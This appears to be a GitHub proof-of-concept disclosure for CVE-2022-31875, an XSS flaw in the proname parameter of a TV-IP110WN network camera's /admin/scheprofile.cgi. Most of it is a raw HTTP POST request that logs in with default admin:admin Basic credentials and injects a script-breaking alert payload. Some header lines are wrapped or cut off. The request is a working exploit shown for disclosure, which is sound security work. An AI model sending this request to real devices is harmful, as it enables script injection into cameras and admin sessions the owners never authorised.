jayus0821 Update xss1.md History

1 contributor

36 lines (24 sloc) | 1.09 KB

PoC

CVE-2022-31875

There is an xss vulnerability in ip110wn, the vulnerability point is located in the proname parameter in /admin/scheprofile.cgi

http://ip/admin/scheprofile.cgi

```
fw_tv-ip110wn_v2(1.2.2.68)

POST /admin/scheprofile.cgi
HTTP/1.1 Host: 192.168.73.129
Content-Length: 112 Cache-Control: max-age=0
Authorization: Basic YWRtaW46YWRtaW4=
Upgrade-Insecure-Requests: 1
Origin: http://192.168.73.129
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/96.0.4664.110 Safari/537.36 Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/ap
exchange;v=b3;q=0.9
Referer: http://192.168.73.129/admin/scheprofile.asp?en
```

```
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

mode=add&maxkey=&proname=");alert("123&name=&weekdays=radiobutton&weekday=&start_hr=
```

Acknowledgement

Thanks to the partners who discovered the vulnerability together：

Yi-fei Gao Lin-jie Wu